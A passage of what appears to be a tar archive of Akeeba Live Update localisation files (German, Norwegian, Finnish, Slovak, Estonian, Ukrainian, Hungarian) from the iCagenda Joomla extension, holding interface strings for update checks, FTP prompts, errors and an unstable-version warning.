LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet"
LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "_QQ_"Aktualisierungsinformationen abrufen"_QQ_". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter."

LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben."
LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version"
LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version"
LIVEUPDATE_CURRENTVERSION="Installierte Version"
LIVEUPDATE_LATESTVERSION="Neueste Version"
LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum"
LIVEUPDATE_DOWNLOADURL="Direkte Download-URL"

LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen"
LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren"

LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.<br/><br/>BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren."
LIVEUPDATE_FTP="FTP Informationen"
LIVEUPDATE_FTPUSERNAME="FTP Benutzername"
LIVEUPDATE_FTPPASSWORD="FTP Passwort"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren"

LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben."
LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden."
LIVEUPDATE_INSTALLEXT="Installiere %s %s"
LIVEUPDATE_ERROR="Fehler"
LIVEUPDATE_SUCCESS="Erfolg"

LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt"
LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt"
LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version"
LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN."

LIVEUPDATE_RELEASEINFO="Information"
LIVEUPDATE_RELEASENOTES="Infos zur Veröffentlichung"
LIVEUPDATE_READMOREINFO="Weiterlesen"

LIVEUPDATE_NAGSCREEN_HEAD="ACHTUNG! Sie sind dabei, eine instabile Version zu installieren."
LIVEUPDATE_NAGSCREEN_BODY="Sie sind dabei, eine instabile Version zu installieren (%s - %s). Instabile Versionen sind noch in Entwicklung oder nicht final getestet und können Bugs enthalten, die die Stabilität und Funktionalität Ihrer Webseite beeinträchtigen können. Wenn Sie nicht sicher sind, was Sie tun sollen, dann schließen Sie dieses Browserfenster. Sollten Sie absolut sicher sein, dass Sie das Risiko eingehen und die möglichen Folgen einer unfertigen Version auf eigene Gefahr in Kauf nehmen wollen,  klicken Sie auf den unten stehenden Button um die instabile Version zu installieren."
LIVEUPDATE_NAGSCREEN_BUTTON="Ich kenne die Risiken. Mit der Installation fortfahren."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/nb-NO/nb-NO.liveupdate.ini000060400000010260152455305300017543 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Direkteoppdatering"

LIVEUPDATE_NOTSUPPORTED_HEAD="Direkteoppdatering støttes ikke på denne serveren."
LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at direkteoppdatering ikke støttes. Kontakt din leverandør og spør om de kan aktivere cURL PHP eller aktivere URL fopen(). Dersom disse allerede er aktivert kan du spørre om de kan konfigurere sin brannmur slik at den gir tilgang til følgende URL:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere <var>%s</var> manuelt ved å besøke vår side. Laste ned og installer den nyeste versjonen ved hjelp av Joomlas installasjonsfunksjon."

LIVEUPDATE_STUCK_HEAD="Direkteoppdateringen har merket seg selv som krasjet."
LIVEUPDATE_STUCK_INFO="Direkteoppdatering avdekket at den krasjet forrige gang den forsøkte å kontakte oppdateringsserveren. Dette betyr vanligvis at du benytter en leverandør av netthotell som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å forsøke på nytt å hente oppdateringsinformasjonen, klikk på knappen "_QQ_"Oppdater informasjon"_QQ_" nedenfor. Dersom dette resulterer i en blank side bør du kontakte din leverandør av netthotell for å melde fra om dette problemet."

LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi ditt brukernavn/passord eller nedlastnings-id i komponentens innstillinger før du forsøker å oppdatere til siste versjon. Oppdateringsknappen vil forbli deaktivert inntil du gjøre dette."
LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig"
LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen"
LIVEUPDATE_CURRENTVERSION="Installert versjon"
LIVEUPDATE_LATESTVERSION="Nyeste versjon"
LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato"
LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse"

LIVEUPDATE_REFRESH_INFO="Oppdater informasjon"
LIVEUPDATE_DO_UPDATE="Oppdater til siste versjon"

LIVEUPDATE_FTP_REQUIRED="Direkteoppdatering har avdekket at den må bruke FTP, for å laste ned og installere oppdateringen, men du har ikke angitt og lagret FTP-informasjonen under nettstedets globale konfigurasjon .<br /><br />Du må oppgi FTP-brukernavn og passord nedenfor for å kunne fortsette med oppdateringen."
LIVEUPDATE_FTP="FTP-informasjon"
LIVEUPDATE_FTPUSERNAME="FTP-brukernavn"
LIVEUPDATE_FTPPASSWORD="FTP-passord"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen"

LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringspakke mislyktes. Påse at temp-mappen er skrivbar, eller at du har aktivert Joomlas FTP-innstillinger under nettstedets globale konfigurasjon."
LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Forsøk å oppdatere utvidelsen manuelt."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Oppdateringen kan ikke fortsette."
LIVEUPDATE_INSTALLEXT="Installer %s %s"
LIVEUPDATE_ERROR="Feil"
LIVEUPDATE_SUCCESS="Vellykket"

LIVEUPDATE_ICON_UNSUPPORTED="Direkteoppdatering støttes ikke."
LIVEUPDATE_ICON_CRASHED="Direkteoppdatering krasjet."
LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen."
LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/fi-FI/fi-FI.liveupdate.ini000060400000007520152455305300017512 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update ei ole tuettu tällä palvelimella"
LIVEUPDATE_NOTSUPPORTED_INFO="Palvelimesi mukaan Live Update ei ole tuettu. Ota yhteyttä palveluntarjoajaasi ja pyydä heitä ottamaan cURL PHP laajennus tai URL fopen() lisätoiminnot käyttöön. Jos nämä ovat jo käytössä, pyydä heitä muuttamaan palomuurinsa asetuksia niin, että se sallii yhteydet seuraavaan osoitteeseen:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Voit aina päivittää <var>%s</var> lisäosan käymällä sivustollamme, lataamalla viimeisimmän version ja asentamalla sen Joomla! lisäosien asennuksella."

LIVEUPDATE_STUCK_HEAD="Live Update on havainnut kaatuneensa"
LIVEUPDATE_STUCK_INFO="Live Update on havainnut, että se kaatui edellisellä kerralla päivitystä hakiessaan. Yleensä tämä johtuu palvelimestä, joka pyrkii estämään yhteydet muille palvelimille. Jos haluat yrittää päivitystietojen hakemista uudelleen, napsauta "_QQ_"Päivitä päivitystiedot"_QQ_" painiketta. Jos tästä seuraa tyhjä sivu, ota yhteyttä palveluntarjoajaasi ja ilmoita ongelmasta."

LIVEUPDATE_ERROR_NEEDSAUTH="Sinun täytyy syöttää pyydetty käyttäjätunniste komponentin asetuksissa ennenkuin voit päivittää viimeisimpään versioon. Päivityspainike pysyy estettynä siihen asti."
LIVEUPDATE_HASUPDATES_HEAD="Uusi versio on saatavilla"
LIVEUPDATE_NOUPDATES_HEAD="Sinulla on jo uusin versio"
LIVEUPDATE_CURRENTVERSION="Asennettu versio"
LIVEUPDATE_LATESTVERSION="Uusin versio"
LIVEUPDATE_LATESTRELEASED="Uusimman julkaisupäivä"
LIVEUPDATE_DOWNLOADURL="Suora latauslinkki"

LIVEUPDATE_REFRESH_INFO="Päivitä päivitystiedot"
LIVEUPDATE_DO_UPDATE="Päivitä uusimpaan versioon"

LIVEUPDATE_FTP_REQUIRED="Live Update havaitsi, että se tarvitsee FTP yhteyden ladatakseen päivityksesi, mutta FTP tietoja ei ole asetettu Joomla! asetuksissa.<br/><br/>Syötä FTP tunnus ja salasana päivittääksesi."
LIVEUPDATE_FTP="FTP tiedot"
LIVEUPDATE_FTPUSERNAME="FTP käyttäjänimi"
LIVEUPDATE_FTPPASSWORD="FTP salasana"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Lataa ja asenna päivitys"

LIVEUPDATE_DOWNLOAD_FAILED="Päivityspaketin lataaminen epäonnistui. Varmista, että temp-kansioom voi kirjoittaa tai Joomla! FTP toiminnot on sallittu sivuston asetuksissa."
LIVEUPDATE_EXTRACT_FAILED="Päivityspaketin purkaminen epäonnistui. Yritä päivittää lisäosa manuaalisesti."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Paketin tyyppi ei kelpaa. Päivitystä ei voida tehdä."
LIVEUPDATE_INSTALLEXT="Asenna %s %s"
LIVEUPDATE_ERROR="Virhe"
LIVEUPDATE_SUCCESS="Onnistui"

LIVEUPDATE_ICON_UNSUPPORTED="Live Update ei tuettu"
LIVEUPDATE_ICON_CRASHED="Live Update kaatui"
LIVEUPDATE_ICON_CURRENT="Sinulla on uusin versio"
LIVEUPDATE_ICON_UPDATES="Päivitys löydetty! Napsauta päivittääksesi."

LIVEUPDATE_RELEASEINFO="Tietoja"
LIVEUPDATE_RELEASENOTES="Julkaisutiedot"
LIVEUPDATE_READMOREINFO="Lue lisää"

LIVEUPDATE_NAGSCREEN_HEAD="Varoitus. Olet asentamassa mahdollisesti epävakaata versiota."
LIVEUPDATE_NAGSCREEN_BODY="Olet asentamassa epävakaata versiota (%s - %s). Epävakaita versiota ei ole testattu riittävästi ja ne voivat sisältää ohjelmointivirheitä jotka voivat vahingoittaa sivustosi vakautta ja toimintaa. Jos et ole varma siitä mitä olet tekemässä, sulje tämä selain ikkuna. Jos olet aivan varma, että ymmärrät epävakaiden versioiden asentamiseen liittyvät riskit, napsauta alla olevaa painiketta jatkaaksesi asennusta."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

LIVEUPDATE_STABILITY_ALPHA="Alpha"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/sk-SK/sk-SK.liveupdate.ini000060400000010047152455305300017604 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

; LIVEUPDATE_TASK_OVERVIEW="Live Update"

; LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server"
; LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"
; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update <var>%s</var> by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer."

; LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed"
; LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue."

; LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that."
; LIVEUPDATE_HASUPDATES_HEAD="A new version is available"
; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version"
; LIVEUPDATE_CURRENTVERSION="Installed version"
; LIVEUPDATE_LATESTVERSION="Latest version"
; LIVEUPDATE_LATESTRELEASED="Latest release date"
; LIVEUPDATE_DOWNLOADURL="Direct download URL"

; LIVEUPDATE_REFRESH_INFO="Refresh update information"
; LIVEUPDATE_DO_UPDATE="Update to the latest version"

; LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.<br/><br/>Please provide the FTP username and password below to proceed with the update."
; LIVEUPDATE_FTP="FTP Information"
; LIVEUPDATE_FTPUSERNAME="FTP Username"
; LIVEUPDATE_FTPPASSWORD="FTP Password"
; LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update"

; LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration."
; LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually."

; LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed."
; LIVEUPDATE_INSTALLEXT="Install %s %s"
; LIVEUPDATE_ERROR="Error"
; LIVEUPDATE_SUCCESS="Success"

; LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported"
; LIVEUPDATE_ICON_CRASHED="Live Update crashed"
; LIVEUPDATE_ICON_CURRENT="You have the latest version"
; LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/et-EE/et-EE.liveupdate.ini000060400000010047152455305300017522 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

; LIVEUPDATE_TASK_OVERVIEW="Live Update"

; LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server"
; LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"
; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update <var>%s</var> by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer."

; LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed"
; LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue."

; LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that."
; LIVEUPDATE_HASUPDATES_HEAD="A new version is available"
; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version"
; LIVEUPDATE_CURRENTVERSION="Installed version"
; LIVEUPDATE_LATESTVERSION="Latest version"
; LIVEUPDATE_LATESTRELEASED="Latest release date"
; LIVEUPDATE_DOWNLOADURL="Direct download URL"

; LIVEUPDATE_REFRESH_INFO="Refresh update information"
; LIVEUPDATE_DO_UPDATE="Update to the latest version"

; LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.<br/><br/>Please provide the FTP username and password below to proceed with the update."
; LIVEUPDATE_FTP="FTP Information"
; LIVEUPDATE_FTPUSERNAME="FTP Username"
; LIVEUPDATE_FTPPASSWORD="FTP Password"
; LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update"

; LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration."
; LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually."

; LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed."
; LIVEUPDATE_INSTALLEXT="Install %s %s"
; LIVEUPDATE_ERROR="Error"
; LIVEUPDATE_SUCCESS="Success"

; LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported"
; LIVEUPDATE_ICON_CRASHED="Live Update crashed"
; LIVEUPDATE_ICON_CURRENT="You have the latest version"
; LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/uk-UA/uk-UA.liveupdate.ini000060400000013750152455305300017574 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері"
LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати  мережеві екрани так, щоб вони дозволяли доступ до цих URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити <var>%s</var> відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!."

LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху"
LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "_QQ_"Оновити інформацію "_QQ_" нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему."

LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите."
LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія"
LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія"
LIVEUPDATE_CURRENTVERSION="Встановлена версія"
LIVEUPDATE_LATESTVERSION="Остання версія"
LIVEUPDATE_LATESTRELEASED="Дата останнього випуску"
LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження"

LIVEUPDATE_REFRESH_INFO="Оновити інформацію"
LIVEUPDATE_DO_UPDATE="Оновити до останньої версії"

LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли  інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .<br/><br/>Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення."
LIVEUPDATE_FTP="Інформація FTP"
LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP"
LIVEUPDATE_FTPPASSWORD="Пароль FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення"

LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!."
LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено."
LIVEUPDATE_INSTALLEXT="Встановлення %s %s"
LIVEUPDATE_ERROR="Помилка"
LIVEUPDATE_SUCCESS="Успішно"

LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується"
LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху"
LIVEUPDATE_ICON_CURRENT="У вас остання версія"
LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/hu-HU/hu-HU.liveupdate.ini000060400000010533152455305300017600 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="Ez a szerver nem támogatja a Live Update-ot"
LIVEUPDATE_NOTSUPPORTED_INFO="A szerver nem támogatja a Live Update-et. Lépj kapcsolatba a szolgáltatóddal és kérd a cURL PHP bővítmény vagy az URL fopen() aktiválását. Ha ezek már engedélyezve vannak, akkor kérd meg őket, hogy úgy állítsák be a tűzfalukat, hogy hozzáférhető legyen a következő URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Bármikor frissítheted a(z) <var>%s</var> úgy, hogy meglátogatod a webhelyünket, letöltöd a legfrissebb verziót és a Joomla! bővítmény telepítőjével felrakod."

LIVEUPDATE_STUCK_HEAD="A saját jelzése szerint a Live Update összeomlott"
LIVEUPDATE_STUCK_INFO="Az utolsó használat során a Live Update összeomlott amikor kapcsolatot próbált létesíteni a frissítő szerverrel. Ez általában azt jelzi, hogy a szolgáltató aktívan blokkolja a külső webhelyekkel való kommunikációt. Ha meg akarod ismételni a frissítési információk lekérését, akkor kattints alul a "_QQ_"Frissítési információk újra letöltése"_QQ_" gombra. Ha ez üres oldalt eredményez, akkor lépj kapcsolatba a szolgáltatóddal és jelezd nekik ezt a problémát"

LIVEUPDATE_ERROR_NEEDSAUTH="Mielőtt frissíteni szeretnél, meg kell adnod a felhasználói neved/jelszavad vagy a letöltési AZ-t a komponens paraméterekben. A frissítés gomb addig nem lesz aktív, amíg ezeket nem adod meg."
LIVEUPDATE_HASUPDATES_HEAD="Elérhető az új verzió"
LIVEUPDATE_NOUPDATES_HEAD="Már a legújabb verzióval rendelkezel"
LIVEUPDATE_CURRENTVERSION="Telepített verzió"
LIVEUPDATE_LATESTVERSION="Legújabb verzió"
LIVEUPDATE_LATESTRELEASED="A legújabb verzió kiadási időpontja"
LIVEUPDATE_DOWNLOADURL="Direkt letöltési URL"

LIVEUPDATE_REFRESH_INFO="Frissítési információk újratöltése"
LIVEUPDATE_DO_UPDATE="Frissítés a legújabb verzióra"

LIVEUPDATE_FTP_REQUIRED="A Live Update-nek szüksége van az FTP használatára, hogy le tudja tölteni és feltelepíteni a frissítést, de te nem adtál meg FTP elérési adatokat a Joomla! globális beállításaiban.<br/><br/>Kérjük, hogy add meg az FTP felhasználói nevet és jelszót, hogy folytatni lehessen a frissítést."
LIVEUPDATE_FTP="FTP információk"
LIVEUPDATE_FTPUSERNAME="FTP felhasználói név"
LIVEUPDATE_FTPPASSWORD="FTP jelszó"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="A frissítés letöltése és telepítése"

LIVEUPDATE_DOWNLOAD_FAILED="A frissítési csomag letöltése sikertelen. Ellenőrizd az átmeneti (temp) könyvtár írhatóságát vagy a globális beállításoknál engedélyezd a Joomla! FTP feltöltést."
LIVEUPDATE_EXTRACT_FAILED="A frissítési csomag kitömörítése sikertelen. Kérjük, hogy a frissítést próbáld meg manuális módban."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Hibás csomagtípus. A frissítés nem folytatható."
LIVEUPDATE_INSTALLEXT="Telepítés %s %s"
LIVEUPDATE_ERROR="Hiba"
LIVEUPDATE_SUCCESS="Sikeres"

LIVEUPDATE_ICON_UNSUPPORTED="A Live Update nem támogatott"
LIVEUPDATE_ICON_CRASHED="A Live Update összeomlott"
LIVEUPDATE_ICON_CURRENT="A legfrissebb verzióval rendelkezel"
LIVEUPDATE_ICON_UPDATES="FRISSÍTÉST TALÁLTAM! KATTINTS IDE."

LIVEUPDATE_RELEASEINFO="Információk"
LIVEUPDATE_RELEASENOTES="Kiadási megjegyzések"
LIVEUPDATE_READMOREINFO="Bővebben"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
